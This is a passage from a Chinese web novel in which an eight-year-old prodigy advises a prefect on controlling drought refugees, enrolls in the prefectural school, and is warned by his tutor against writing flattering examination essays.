“还请知府大人莫怪!” 方子期先声夺人。 在古代。 礼仪还是非常重要的。 放榜之后不去拜访座师,这就是大不敬! “我还当是何事!” “你送别友人,倒是拳拳真情实意,我又岂会怪罪于你?” “你将本官当成何人了?” 王知府忍不住笑道。 其实他还真有些在乎。 只是身处在这个位置上,有些话不好说罢了。 但是今天见方子期色愈恭礼愈至,之前的那点介怀也就荡然无存了。 “我听到孟断水说,你们父子回府城的路上遭遇了贼寇。” “可曾受伤?” 王知府关切道。 “多谢知府大人关怀,因有族叔庇佑,倒是不曾受伤。” “家人也只是受了些惊吓。” 方子期老老实实道。 “嗯!” “这些贼寇都是从山岱省那边流窜过来的。” “最近这几日,已经有数人报案了。” “你素通实务,如若你是知府,你当如何?” 王知府忍不住考教道。 这山岱省大旱,搞得周边的省份流民频发,现如今宁江府也不能豁免,眼看着这流民越来越多,他这个知府也十分头疼。 只是这处置之法…尚且还没决策好。 王知府倒也没觉得方子期一八岁稚童能想出什么好办法,只是想着随意交谈一下。 方子期沉吟一声,脑子开始极速旋转。 约小半刻钟后。 方子期往前半步拱了拱手,声音中透着沉稳: “知府大人。” “依学生浅见。” “想要处置好这些作乱的贼寇流民,应当分三步而行!” “先稳后治!软硬兼施!” “第一步,划地隔离!可在城郊或废弃的宅院、空地中,筑矮墙建建议的‘流民坊’,安排压抑轮班看守!凡入‘流民坊’者,皆需登记好姓名籍贯等,然后以此发放凭证!甚至于还可以将身份凭证以不同颜色发放,持红色身份凭证者,就是有盗抢前科者,要重点对待!持黄色身份凭证者,就是稍有不轨者,可稍加放松看管!持绿色身份凭证者,就是毫无劣迹之良民,可随意通行!” “如此,既能防止流民四散为祸!又能甄别真正的凶徒,而不至于过于扰民!” “第二步,以工代赈,可让手持绿色身份凭证者负责修建城门、加固堤坝等!彻底断了他们抢掠之心!此举既能让他们养家糊口,让他们产生求生之希望,又能最大程度上让他们绝了抢掠之心!还能加固堤坝,严防来年水患,可谓一举两得!” “至于对待那些手持红色或黄色身份凭证者,不可让他们随意进出“流民坊”,但是可以统一将他们安置于矿山中挖矿,或是在“流民坊”内编竹筐、做草鞋等,由府衙统一收购,再结算银钱,如此就能收其力,困其行!将所有的危险都扼杀于萌芽之中。” “第三步,混乱当用重典!严惩首恶、作奸犯科之徒!对于那些已经沦为盗匪者、手上已经沾血者,甚至是同族相食者,绝不姑息!抓到即斩首示众!当然,若有自首情节者,量刑也可稍加放松,以防他们狗急跳墙!“ “如此三步!” “应当就能暂绝流民之乱!” 第80章 治世之能臣,乱世之奸佞! 此刻的王知府脸上虽古波不惊,但是内心早已掀起惊涛巨浪! 妙! 太妙了! 尤其是那红、黄、绿色的身份凭证之法,能够极大程度上将流民中的恶徒和普通民众彻底隔离开。 至于说以工代赈或是建造流民坊倒都是常规之举。 若是这些方案出自于一位浸淫官扬多年的老油条,那他倒也不会那么惊讶。 但是一八岁稚童就已有如此见解!实在让他感到匪夷所思! “此子若是入了官扬,必是能臣干吏!” 王知府心中暗自想道。 不过前提是…路不能走歪。 “治世之能臣!乱世之奸佞!” 王知府默默地在心中评价道。 那些知名的奸臣,哪一个不是才高八斗、学富五车? 读书人坏起来,才是真的坏。 “不错!” 良久。 王知府才点了点头道。 “没想到你如此年龄,就有这些独特之见解!” “在实务上,你确有独特天赋!” “希望你未来能走正道!为天下百姓多做些实事!此乃百姓之福也!” 王知府抚摸着胡须,脸上露出笑容。 随即王知府又默然抬起头看向方子期。 “可曾找了读书之所?” “若你想去府学读书,我可为你引荐。” 王知府颔了颔首道。 爱才之心,人皆有之。 “多谢知府大人!” “学生从禾阳县出发的时候,禾阳县的花县令已经为学生写了举荐信,学生打算这两日就去府学报到了。” 方子期恭敬道。 “嗯!” “好好读书。” “争取今年将院试也过了。” “按照时间推算,等学政大人案临到我们宁江府主持院试,应当是九月份。” “尚有数月时间,你好好精进一下自己的文章。” 王知府提点道。 方子期一一称是,一直秉持着恭敬之姿态。 随后这位王知府又闲聊了几句,就让方子期离开了。 走出知府衙门。 方子期非但没有放松。 反倒是眉头紧皱。 通过与这位王知府的交谈,他感受到山岱省的流民已经堵不住了。 现如今的山岱省就是人间炼狱。 若非如此,也不会出现‘人相食’之景。 连靠近南方的宁江府都已受影响。 由此可见,山岱省周边的那些省府又是何等扬景? 大旱最易生大乱。 当老百姓连饭都吃不饱的时候。 自然也就会出现一些‘王侯将相宁有种乎’的言论! 又或是‘苍天已死,黄天当立’、‘岁在甲子,天下大吉’! 方子期将自己同王知府交谈的内容同自家老爹和方虎都说了。 提前有个防备也是好的。 “宁为太平犬,不当乱世人啊!” “这世道真要是乱了,就完了!” “还好……” “还好我们宁江府距离山岱省那么远……” “山岱省真要是有造反者,应当…应当也不会这么快打到宁江府来吧?” “而且真要是造反,也不一定就会往南边打……” 方仲礼这就是典型的自我安慰了。 “爹,如若山岱省真有人拉起了大旗去造反,肯定是往南方打的!“ “北方已大旱,又没多少粮食,还有精锐的边军!” “南方多的是鱼米之乡!仓廪充足!” “爹,你要是当了反王,你是往北打还是往南打?” 方子期耸耸肩道。 “竖子!” “休要胡言乱语!” “什么反王不反王的……” “这么说起来……” “连这宁江府城都不安全了?” “那咱们去哪?” “去省城?或是…直接去京城?” 方仲礼皱眉道。 “先走一步看一步吧!” “毕竟现在成气候的反王还没出现吗?” “不过……爹,咱们确实要一鼓作气拿下九月份的院试了。” “有了秀才功名,到时候就算是撤退,也定然是第一批次被撤走的。” “就算是去了难民营,秀才都能先吃上一口热乎饭。” 方子期很直接道。 这倒是老实话。 “嗯!对!读书!好好读书!” “中了秀才就已如此……” “若是有机会中了举人…就半只脚踏入官扬了……” “届时才能保护好家人,庇佑族人!” 方仲礼一脸郑重地点点头道。 此刻读书之决心,更坚定了。 从知府衙门离开,众人就直接回了朱雀街的家。 他家倒也很好认,因为没挂牌匾。 “这么气派?” “真是咱家?” “孩子他爹,没走错吧?” 苏静姝看着这厚实的大门,再看看栩栩如生的两只镇门石狮子,一时间有些恍惚。 “当然!” “进去看看就知道了。” “三进的院子。” “足足二十多间房呢!” “回头你们自己随便去挑房间!” “就是这家太大,打扫起来太麻烦了。” “哦对了,有两间厢房周夫子和砚秋已经住过了。” “回头给他们屋里面添置些实用的家具,等他们回来住得也能踏实些。” “上次来考府试实在是太匆忙了。” 方仲礼跟着提醒道。 “好!” “我知道了。” 苏氏点点头,随即走进宅子内。 顿时又是一番惊叹。 大! 特别大! 虽然草木因为长时间没人打理有些枯败,但是豪宅的底子在那里,谁不欢喜? “没成想我居然有一天能住上这样的宅子。” “就像是做梦一样!” “子期!” “你可真是娘的好儿子!” “你生下来就是来报恩的!” 苏静姝忍不住抱起宝贝儿子,好一番疼爱。 毕竟这宅子是用曲辕犁的图纸换的。 外人只知道这曲辕犁的图纸是方仲礼捣鼓出来的,但那只是忽悠忽悠外人而已。 自家人当然知道,这曲辕犁完全就是方子期的功劳。 “虎叔!” “你也去二进院找一间屋子吧!” “随便挑!” “多得是!” 方子期对着方虎招呼道。 “不必了子期,我就住在门房好了。” “刚好就在大门旁,要是有个什么事,我还能听点动静!” “那门房我看了,里面也极大,房间也是极好的。” “倒是享了子期你的福了!你虎叔还没住过这么好的房子呢!” 方虎憨厚一笑道。 无论方子期怎么劝,可方虎就要住门房。 搞得方子期也很无奈。 他这虎叔又不是下人! 第81章 入府学 方子期等人来到府城的第二天。 周夫子和方砚秋就来了。 因为方子期家人太多,所以之前周夫子和方砚秋就没跟着一起过来。 随即听说了客栈贼寇之事,周夫子和方砚秋皆是一副震惊表情。 “没想到山岱省之大旱已经到了如此地步。” “人相食……” “本以为只是书中的惊鸿一瞥。” “谁知……” “哎!” “子期!” “仲礼!” “今后出门,恐怕要更加小心了。” 周夫子一脸严肃道。 “好在我同夫子这一路上不曾遭遇那恐怖贼寇。” “幸好…幸好……” 方砚秋拍了拍胸口,一阵后怕。 周夫子来了。 就表明学习生涯要进入正轨了。 在周夫子的监督下,当天下午,方子期等人就进入了读书状态。 “你们父子都有了县令大人举荐信?” “如此倒是省去不少麻烦。” “至于砚秋……我已经托了顾清如的关系给他搞定了。” “既如此,明日你们三人同去府学吧!” “府学的书籍还是很多的。” “白天你们在府学中学习。” “晚上我再教导你们。” “如此一来,就是双层保障。” 周夫子深以为然道。 “多谢夫子!” 方子期点点头,连忙致谢。 第二天。 方子期、方仲礼和方砚秋三人分开行动。 方砚秋被顾举人带去了府学。 至于方子期则和方仲礼一起,拿着花县令的举荐信来到府学找到了章宗儒教授。 原本这位章宗儒教授的态度还是非常冷淡的,当方子期将花县令的举荐信拿出来后,顿时就热络多了。 方子期轻叹。 这府学也是讲人情世故的地方啊。 “不错不错!” “你就是本次府试的那位神童案首吧?” “八岁之龄,就喜得案首。” “看来你的学问确是极好的。” “如此就不用考教了。” “你直接去乙班吧!” “至于你父亲……额……” “我觉得最好还是去丙班过渡一下,以免在乙班吃不消。” 章宗儒教授提点道。 毕竟方子期和方仲礼一个是府试第一名,一个是府试倒数第一名,差距还是有的。 “多谢章教授提点!” 方子期致谢道。 “小事而已。” “当年我也是受到花县令点拨才能中了这举人,才有机会在这府学当教授。” “说起来花县令还是我的授业恩师。” “你们都是花县令的朋友,自然也就是我的朋友。” “将来若是有什么不懂的地方,尽可以来问询于我。” 章宗儒脸上挂满了笑容。 看其年龄,估摸着也就三十岁出头,面白无须,身穿着白色长衫,束发其后,倒是有一种古文中的那种翩翩公子感。 这个年纪,其实正是科举的大好时刻,正是花期绽放时! 方子期有些好奇,这位章教授怎么就舍得放弃举业,在这府学混日子。 某种程度上,会出现在府学的教授,基本上都是举业无望的,然后就来府学当教授或训导,纯粹就是混口饭吃。 所以府学中多的是那种老夫子。 章宗儒将事情交代好,随即给方子期和方仲礼办好了府学的身份牌后,就离开了。 离开之前,章宗儒特地安排了个办事人员过来。 接下来方子期和方仲礼就要分班了。 之前在方族族学的时候,尚且还分甲乙两班。 在府学就更是如此了。 甚至因为学生众多,还单独分出了丙一班丙二班等! 每个班常例三十人。 甲等班只有一个班,连三十人都没有,据说在其中的都是想要冲击来年乡试的秀才。 乙等班有两个班,乙一班和乙二班,方子期入学的就是乙二班,能上乙等班的,最次都是有童生功名的,甚至还有不少秀才也掺杂其中! 按照常理,乙一班比乙二班要强不少,乙二班的学员想要升到乙一班还需要在月考中取得好名次。 至于丙等班就多了,足足五个班,人员更是良莠不齐了,可能是大商户的孩子,也有可能是官员子侄等等,而且丙等班也是要分级的,丙一班最好,丙五班最差,方仲礼入的是丙三班,算是丙等班中的中等分子。 当然了,哪怕是最低等级的丙班,正常情况下,兜底也是要有个童生功名才能上的。 如果你关系足够硬,当然可以无视一切规定。 “今日报到,明日就可入学了。” “如若你们要住宿的话,也可以去申请,每月二百文!” 负责接待方子期和方仲礼的府学办事人员道。 “我们无需住宿。” 方仲礼连忙道。 毕竟他们家距离府学步行两刻钟也就到了,若是坐骡子车,一刻钟足够了。 “嗯!好!” “食堂在那边,想吃什么自己付钱购买就好,同外面的饭馆无异。” “另外,府学倒是没那许多拘束。” “平日里正常上课就好。” “若有事,找教授或训导请个假就行。” “除此之外就是府学每个月的月考了。” “按照规定,两次月考皆优者,可升入下一等级的班!” “两次月考皆差者,将会降级到下一等级的班。” “评价为良者,可不动。” 章宗儒安排的办事人员还是很负责任的。 各种事情,事无巨细,基本上都提醒到了。 “丙等班每次月考前三者,可获银钱奖励,第一名五两银子,第二名二两银子,第三名一两银子。” “乙等班每次月考前五者,可获银钱奖励,第一名十两银子,第二到第五名各五两银子!” “甲等班每次月考前十者,可获银钱奖励,第一名三十两银子,余者皆十两银子。” …… 听到有钱,方仲礼顿时就精神了。 书中自有黄金屋!古人诚不欺我! 只要有机会能够混上名次,这白花花的银子自然是很香的。 “会不会有人为了拿银子,刻意不去更高等级的班?” 方子期突发奇想…… 这算是学霸压分? 办事人员:“……” 这思路倒是很新奇。 都入了府学了,那基本上都是有童生功名的,都想着在科举上有所建树的,岂会因此这些黄白之物而动摇心志? 此刻的方子期盯上了甲班的名次奖励…… 前十名最次也是十两银子啊! 不少了! 之前他娘做红烧肉和卤肉,累一天,也就挣个几百文而已。 至于甲班第一……三十两…… 而且还是每月都有。 方子期脸上露出思索神色。 若是书读得足够好,就一直混迹于府学中学习,每次都拿甲班第一,那这光奖励每年都有三百多两银子了啊…… 第82章 天塌了,刚正不阿大宗师 待次日再去。 方子期和方仲礼在府学吃了顿饭后,就归家了。 让方子期颇为意外的是,下午的时候,方砚秋是和花允谦一起回来的。 “子期!” “嘿!” “听砚秋说你去府学了?” “在哪个班?” 花允谦兴奋道。 “额……乙二班。” 方子期道。 “啊?” “我在乙一班……” “咱们怎么不在一个班啊!” “砚秋在丙三班……” “咱们都不在一个班,太无趣了!” 花允谦叹了口气道。 “砚秋兄,你和我爹都在丙三班,倒是能互相有个照顾了。” 方子期看向方砚秋道。 “这倒是不错。” “在丙三班有方叔罩着我,就不怕了!” 方砚秋点点头,眉毛一挑道。 “不过……” “这分班不是按照成绩来的吗?” “子期你是府案首,分去乙二班倒也就罢了……” “我在府试上的名次同允谦兄也差不了多少啊!” “怎么我在丙三班,允谦兄就去了乙一班?比子期你还靠前!” 方砚秋啧啧称奇道。 花允谦两手一摊,显得很无奈。 “指定我是爹那老家伙干的……” “将我的位置推得那么高,这不是坑儿吗?” “我到了乙一班定是倒数!” “子期!” “定要等我两月!只要两次月考我都得差评,就能降到乙二班与你作伴了!” “如此,这两个月倒是可以不用太努力学了。” 花允谦嘴角一扬,身上肥肉一抖,顿感妙极!又可以划水了! “额……” “允谦兄,你是不是忘了点什么?” “按照府学规定,两次月考皆得优评的学生,是要升到更高级的班的。” “两月之后,你从乙一班降到乙二班,然后子期从乙二班降到乙一班。” “你们刚好可以调换个位置。” 方砚秋道出了真相。 花允谦当即急了。 这哪能行! 那孤独的日子可太煎熬了! “那我怎么办?” 花允谦当即苦瓜脸。 “允谦兄,你好好学习,只要在乙一班中得到‘良’评,自然就不用降级了。” 方子期提醒道。 “子期!话虽如此……” “但我听说乙一班大部分都是秀才……” “我去跟一群秀才比拼……” 花允谦苦笑一声,他是真的有点慌。 “同秀才比拼怎么了?” “九月份的院试,我们本来不就是奔着秀才功名去的吗?” “若是连比拼都不敢,还考什么院试!” “允谦兄!” “学如逆水行舟,不进则退!” “吾辈共勉!” 方子期劝学道。 “哎!” “子期!你这种变态学霸是无法体会到我们这种学渣的痛苦的……” 花允谦叹了口气,在方子期面前,他只能自诩为学渣了。 虽然他十四岁就高中童生,已是极难得的天赋之子了。 但天赋这玩意儿,也要看跟谁比…… 跟方仲礼比,花允谦的天赋确实算不错了。 但是跟方子期比,瞬间被虐成渣了。 下午。 花允谦没急着回去,待在方子期家中一同进学。 周夫子的学问是没问题的,凭他中过乡试副榜的实力,哪怕是去府学当个夫子都足够用了。 “我们汉江省的大宗师是崔清彦,出自于大名鼎鼎的崔氏!” “是永德三年的探花!” “学问极好!” “极擅诗词!” “为人刚正不阿,最不喜阿谀奉承之无用文章。” “所以!” “此番院试,切记不要写什么奉承文章了,奉承考官不可,奉承皇帝亦不可!” “子期!” “你可明白?” “旁人我倒是都不担心。” “就是你……” “你现如今已经将奉承之道刻印在骨髓里了!” “落笔即是文章!但是文章之中不留意间就会大书特书当今陛下之功绩!” “那些用于奉承的言辞,我观之尚且脸红,你到底是如何写出来的?” “现如今山岱省大旱!北境亦不安宁!” “你若是还大书特书陛下之功绩,那就是赤裸裸的阿谀奉承!” “如此一来,哪怕文章作得再好,遇上崔清彦这般刚正不阿的大宗师,你也极有可能被黜落,你这纯属就是自投罗网!” 周夫子苦口婆心道。 方子期张了张嘴,有些麻了。 我书写政治正确,有错吗? 我何错之有啊! 怎么我遇到的考官都是这种刚正不阿的清流? 是我打开的方式有什么问题吗? “知道了夫子。” “我会注意的。” 方子期微微一叹道。 不知道为什么。 如果不大书特书皇帝陛下,他就感觉自己的文章失去了灵气,变得呆板,虽勉强可读,但总也算不上精品。 而一旦加上了一些政治正确的东西,那他的文章就如同画龙点睛般,直接就活了。 方子期在写文章的时候也会有一种犹有神助、神思不断之感。 各种妙笔都能瞬间生成! 方子期知道他这是一种病…… 但他是真不知道这病究竟要怎么治。 “相对来说,砚秋和仲礼的文章就要朴实得多。” “也更契合那位崔大宗师的文风。” “你们二人继续保持住这样的风格,若是在院试中好好发挥,未必不能榜上有名!” “至于允谦……” “嗯!” “你既来听我的课,那我就将你当成是我的学生了。” “我之前也曾看过你写的几篇文章。” “或是因为你出身官宦家庭。” “所以你有和子期一样的通病!总是喜欢用最谄媚最精美的语言去奉承大梁朝!去恭维那位皇帝陛下。” “所以……” “这个坏毛病,你最好也改一改。” “否则…你院试这一关怕是难过。” 周夫子对着花允谦点评道。 “啊?” “我也有这毛病吗?” “我自己怎么不知道……” 花允谦摸了摸后脑勺,不好意思憨笑道。 其实很多习惯都是自小养成的。 有句话怎么说的来着…… 江山易改本性难移…… 方子期很苦恼。 他这做文章必奉承的习惯,不是改不掉,但是改掉了之后,他写起文章来就像是泄了气的皮球一样,毫无激情可言! “子期!” “你也莫要担心!” “距离院试还有好几个月呢!” “还来得及!” “不就是换个文风吗?” “凭子期你的实力,还不是手到擒来?” 方砚秋在一旁安慰加吹捧道。 第83章 府学不是打打杀杀,府学是人情世故 方子期突然来了一个最形象也最不恰当的比喻。 方砚秋:“……” 你真六…… 我实不如也! 第二天。 众人结伴前往府试。 方虎驾着大青骡车将方子期等人放在府学门口就离开了。 约定好时间,下学的时候再过来。 因为分属于不同的班,所以入了府学就四下离开了。 当方子期来到乙二班的时候,班内已有不少人了。 此刻还在交相攀谈。 当方子期走进去的时候,顿时吸引了不少目光。 无他。 方子期实在是太小了! 乙二班虽比不得乙一班大多数都是秀才,但是能待在乙二班的,基本上都是学问极其不错的童生了。 都是院试极有可能中榜的存在。 所以岁数大多也都在二十多岁。 十五六岁的,极少。 更别说八岁的…… “此子是谁?可是走错班级了?” “这你就孤陋寡闻了吧?这是此次府试案首方子期!” “是那个八岁神童?” “怪不得能进乙二班……小小年纪,才气侧漏啊!” “哼!府案首又如何?咱们班上什么时候少了各种案首?” “神童虽好,然伤仲永之徒亦不少也!” “左右不过还是个童生而已,今年院试能不能过尚且还是个问题呢!” “此言倒是不虚……” “我听说是因为知府大人青睐这个方子期,所以才点了他的案首,真要是论真才实学,他如何能得中?” …… 议论纷纭。 不要觉得读书人就不喜欢八卦了。 读书人要是八卦起来就没那些长舌妇什么事了。 而且读书人的妒忌之心一旦起了,想要压下去,可就没那么容易了。 对于那些流言蜚语,方子期都习惯了。 若实在忍不住,寻找他们言语中的漏洞,直接送他们进去吃牢饭就好了。 就像之前那个魏虚舟一样。 至于耍嘴皮子功夫…实在没多大意义。 有这个时间,倒还不如多读点书。 方子期此刻还头疼怎么转变自己的文风,然后能够同那位崔清彦大师契合呢! 不能按照自己的本心去写文章,那叫一个憋屈! 方子期来后不久。 各处座位基本上都坐满了。 府学的夫子也紧跟着走了进来。 今日给他们讲课的夫子名叫秦默存,看着约莫五十多岁的样子,身上穿着青色直裰,脸上露出不苟言笑的神情。 授课的时候,也基本上都是在照本宣科。 全然没有周夫子授课的时候那神采飞扬、生动形象的姿态。 这位秦夫子脸上的沟壑里像是积着化不开的寒霜,目光扫过满堂学生时,双目中透着麻木。 本就是举业无望来混口饭吃,就算是书教得好了,又有何用?除了一个没用的身外名罢了。 所以麻木是必然。 “今日讲《公羊传》……” 秦夫子将书箧往案上一放,抽出卷册随手翻开,甚至连镇纸此刻都懒得使用。 窗外微风吹拂过来,将书页掀得哗哗作响。 随即就听到秦夫子那沉闷的声音,虽授课的时候引经据典,都能信手拈来,一副学识渊博的样子。 但是不知为何,方子期越听…越困…… 就像是老和尚在念经一般。 上午倒是还好。 到了午后。 当这位秦夫子继续给他们授课的时候,方子期真感觉眼皮子都在打架了。 课间休息时。 “子期兄!” “吃颗梅子醒醒神吧!” 方子期的同桌,一个叫徐书恒的学子递送过来一个包裹好的梅子。 “多谢了,徐兄!” 方子期打了个哈欠,吃了梅子后,状态倒是好了许多。 “这有什么可谢的!” “我早就听周秉律那家伙说过子期兄的名字!” “周秉律那厮是我的兄弟,子期兄同周秉律同辈论交,自当也是我的兄弟!” 徐书恒笑着道。 这个徐书恒是府衙经历徐砚丞之子! 这府衙经历是正八品官职了,负责掌管府衙文书往来、印信保管等,相当于是知府的‘秘书’,类似于办公室主任这样的存在。 方子期到了乙二班后,就结识了这徐书恒。 当然。 方子期本不认识他,是徐书恒主动上来打招呼的。 毕竟方子期的特征实在是太明显了。 吃了梅子后,方子期的精神好了不少。 随即朝着周边环视一圈…… 发现大多学子都在热切交谈。 唯有一个身穿白色长衫的瘦削青年仍旧稳坐在位置上读书,对周遭之事丝毫不以为意。 而事实证明。 在一个学堂中,若是过于不合群的话,确实容易被针对。 尤其是你既不合群还没有一个更好的背景的情况下。 这个白衫瘦削青年在正常读书的情况下,突然一个学生走过来,直接将其桌子上的书籍‘撞翻’在地。 白衫瘦削青年眉头微微皱了皱,却也没说话,只是将书捡起。 砰…… 这个时候…… 突然有一只脚直接踩在了地上的那本书上。 脚的主人是一个鹰钩鼻青年。 “朱正恩!” “真是抱歉啊!” “不小心踩到你的书了!” “回头你跟我回家,去我家拿一本新书吧!” 鹰钩鼻青年冷笑一声,眼神中充满了得意。 “不必了。” 朱正恩声音冷漠道,只是从鹰钩鼻青年脚下拿起了书,拍了拍放在桌子上继续读。 方子期观看了全扬,此刻眉头不由得皱起。 当然。 他也没插手的打算。 圣人曰:达则兼济天下,穷则独善其身。 圣人之言还是要听的。 “那是朱正恩,其父原本是个颇有前途的秀才。” “只是后来不幸亡故,他顶了自己父亲的名额入了府学。” “学问倒是不错。” “至于那个阴沟鼻,是府衙中通判大人的侄子,叫史苛之!” “哎!” “子期兄!” “读书人还是不能太离群!” “那几个喜欢欺负人的,都是官宦子弟。” “他们自己学问不端,就喜欢欺辱那些学问做得好的。” “子期兄可莫要同他们打交道,更不要去招惹他们!” 徐书恒在一旁提醒道。 方子期点点头,道了声谢。 刚入府学的时候,他就感觉这府学也并非是一心只读圣贤书的地方,这其中也掺杂着不少人情世故! 接下来,方子期竭力调整了一下自己的读书状态。 尽可能地让自己的思维跟着夫子走…… 仔细品味一番后。 倒也觉得这位秦夫子虽然传道授业的时候有些天马行空和照本宣科。 但到底是读书多年的举人了。 学问确实还不错。 他说的那些东西,仔细品味一番,倒也有些新的感悟。 倒也不是说周夫子的学问就一定比不上这位秦夫子。 只能说各有千秋! 方子期觉得若是能够集各家之所长,然后融会贯通,必定会有一些新的感悟。 第84章 被勾栏听曲榨干的进士,一文不值 方子期就不闲着了,直接追着这位秦夫子请教学问。 而方子期发现,与他同一爱好的,还有那个朱正恩。 方子期对着朱正恩点了点头,算是打过招呼了。 毕竟现在也算是同窗了,而且还同时找夫子询问问题…… 朱正恩微微一愣,稍稍犹豫了一下,随即也默默颔首,但是并未多言。 “夫子!《孟子》里‘性善论’,说人天生就有恻隐之心。可《荀子》偏说‘人之性恶,其善者伪也’!两者岂非背道而驰?” 方子期恭敬请问道。 “虽两者含义上看起来背道而驰,然孟子所说性善,意思是指人心中藏着一颗善良的种子,就如同田地里撒下种子能长出庄稼一般!” “荀子所说性恶,意思是指害怕这颗种子被杂草掩盖了,所以要注重锄草和施肥!” “譬如婴儿见到人会哭着抹眼泪,这就是孟子所说的恻隐!” “若是无人教导,孩子会抢夺其他人的糖果来吃,所以荀子说需要用‘教化之意’去约束!” “两者非但不是背道而驰,而且还是紧密联系!” “前者是怕后人走偏了道,教导后人要相信心中感到美好!” “后者教导后人勿要放纵偷懒!” 秦夫子抚摸着胡子解说道。 同时深深地瞥了方子期一眼。 “你就是新来的府案首吧?” “听课倒是认真。” 秦夫子忍不住点评道。 方子期连忙拱手致谢。 他现在大大小小也算是个名人了。 上到知府。 下到贩夫走卒,大多都听说过他的名字。 人怕出名猪怕壮。 有名气既有好处也有坏处。 坏处很显然,随时随地都有可能被蛐蛐。 好处就是,旁人想要当众欺辱你,也要好好考虑后果。 至少在方子期身上很难发生朱正恩之事。 而夫子也多多少少听过方子期的名字,所以回答问题的时候,态度也能更好一些。 沉闷的一天府学生涯结束了。 方子期刻意在府学内多逗留了一会,前往府学的藏书阁借阅了几本书回家读。 当初之所以要来这府学,就是相中了府学中的丰富藏书。 毕竟再钟鸣鼎食之家,也不可能如府学这般藏书万卷! 方子期已经打定主意,以后每天都借阅几本书回家读,当天读完,第二天还上,再继续借阅…… 但是让方子期苦恼的是,每个学子每次借书最多三本…… “看来回头得让我爹还有砚秋兄他们帮着借阅书籍了。” 方子期心中暗自思忖。 等方子期出府学时,方虎已经驾着大青骡车在等待了。 而方砚秋、方仲礼和花允谦也已经站在骡车旁了。 花允谦其实自家有马车,但是这家伙非要搭方子期家的顺风车。 “子期!” “怎么这么久才出来?” “没出什么事吧?” 方仲礼关切道。 “没事爹,只是去藏书阁借了几本书。” “爹,回头你们每日下学,也去帮我借书吧!” “每个学生每次只能借阅三本书,这也不够晚上读的啊!” 方子期轻叹道。 方仲礼:“……” 方砚秋:“……” 花允谦:“汝听,人言否?” 方子期两手一摊。 实话还不能说了? 正当方子期准备上骡子车时,见到一个熟悉身影。 “朱兄?” 方子期下意识打了个招呼。 只是此刻朱正恩的状态有些糟糕。 身上的白衫已经多了不少污渍和灰尘,头发也有些散乱,走路的时候,显得很急促,只是那脊背仍旧挺得笔直。 听到方子期的声音,朱正恩下意识抬起头,随即就看到方子期身边的众人,紧跟着直接转过头去,埋头继续往前走了。 “这人谁啊!” “这么没礼貌!” 花允谦皱眉道。 “一个同窗……” “许是有什么要紧事吧。” 方子期的目光再度往后扫了一眼,紧跟着看到那通判的侄子史苛之带着几个官宦子弟从府学一旁的巷子中大笑着走出。 方子期心中一叹,恐怕刚才朱正恩又被欺辱了。 这寒门子弟…求学艰难啊! 素来。 这府学的资源都被世家豪门霸占了。 方子期和方仲礼若非花县令的举荐信,其实也进不来。 至于方砚秋,走的是顾举人的门路。 都是要关系的。 “虎叔!” “走吧!” 方子期对着方虎道。 随即骡子车行驶在宽阔的青石路上。 方子期不由得感慨。 这府城就是府城,路都要平坦宽阔一些。 总算不用饱受颠簸了。 半道上,居然遇到了顾举人的马车。 而周秉律也跟随其后。 “周兄!” “子期!” “砚秋!” “方叔!” “刚才我去朱雀街,本想找你们,不曾寻到,谁知路上竟遇见了!当真是缘分啊!” 周秉律兴奋道。 “周兄。” “这位是花允谦,禾阳县县令之子。” “亦是我们的好友。” “允谦兄,这就是我时常向你提及的府衙推官之子周秉律周兄!” “也是一位豁达之人!” 方子期各自介绍道。 都是少年人。 彼此交谈几句,也就熟络了。 “周兄,你怎么不去府学读书啊?” “你若来府学,我们也能多个伴!” “这府学读书实在是太枯燥了!” 方砚秋感叹道。 “家父已为我延请了一位赋闲在家的省学夫子指点于我!” “再加上我老师的教导,已然足够了,所以就无需再去府学了。” 周秉律解释道。 “省学的夫子?” 方子期眉毛一挑…… 这更高级了啊! “莫不是进士出身?” 方子期忍不住询问道。 周秉律默默颔首道:“是一位同进士……” 众人顿时一脸羡慕。 这家学好就是好啊。 有举人老师教着。 还有进士气外援负责加强指导。 若是本人再刻苦学习,那这进步自然极快。 “话说起来……” “允谦兄,你爹花县令不也是进士出身吗?” “以你爹之学识来教你岂不是绰绰有余?” 方子期抓住了盲点。 “他?” “他不行。” “自从考完科举当了官后,就喜欢上了勾栏听曲。” “哪里还有是心思做学问啊!” “说真的子期,我爹现在的水平,说不定还不如你呢!” “这当了官后,还能继续钻研文章的,可就太少了。” “所以想要提升自己的水平,还是得去请教府学或是省学的夫子。” “又或者干脆直接请教那些正在读书中的学子。” “不然碰上我爹这样的,被勾栏听曲榨干的所谓进士,一文不值啊!” 花允谦吐槽自起来老爹来,倒是针针见血。 第85章 文章本天成,妙手偶得之 对于花允谦之言,众人只当他是在夸大其词了。 “子期!” “允谦兄!” “砚秋兄!” “方叔!” “我还有要事,就先走了!” “有机会我再去拜访!“ 周秉律作揖道。 说完,周秉律就跟着顾举人离开了。 众人再度踏上回家之旅。 临到花允谦家门口,这家伙的顺风车之旅本该结束了。 “我要去拜访周夫子!” “周夫子对我有授业大恩!理应日日前去拜访请安!” “尊师重道,方是吾辈应当遵循的礼仪!” 花允谦情真意切道。 方子期:“……” 好好好! 将蹭饭说得这么理直气壮是吧? “又馋方婶做的红烧肉了吧!” 方砚秋毫不留情地揭穿花允谦的真面目。 “咳!” “砚秋!” “人艰不拆!” 花允谦胖脸一红。 在众人中,说起吃。 花允谦当排第一。 各类美食,他可是毫无抵抗力。 尤其是那特制酱油烧的红烧肉,他恨不得每天都来几块! 大青骡车走进朱雀街,距离家,就不远了。 “咦!” “子期!” “那不是你那个不礼貌的同窗吗?” 花允谦眼尖,指了指在朱雀街上独自走路的朱正恩道。 只见朱正恩走到临近方宅的一座宅院,叩了叩门,随即一美妇打开门。 大青骡车的动静自然也吸引了朱正恩的注意力,此刻他转头看了一眼方子期,又看到大青骡车停在自家隔壁那无牌匾的宅院前,神情微微抽动,也不曾多说什么,径直入了宅院。 “子期!” “你这同窗…身家不菲啊!” “能住在朱雀街的宅邸里,非富即贵!” “这朱雀街上随便一套宅子,没有个千两白银是拿不下的。” “只是看他穿着怎么这般朴素。” 花允谦忍不住道。 方子期此刻也有些好奇…… 没想到他同朱正恩居然还是邻居? 之前倒是没注意。 进入家中后。 稍事休息,吃了晚食后,就在周夫子的指导下,开始做文章了。 按照周夫子的要求,方子期刻意走的是朴素的文风,尽可能地将所有政治正确的东西都删减了。 等文章做好后…… 周夫子皱着的眉头就没松开过。 “怎会如此啊!” “子期!” “这文章……” “可不是你的水平!” “怎么刚去了府学一日,文章退步这般多?” 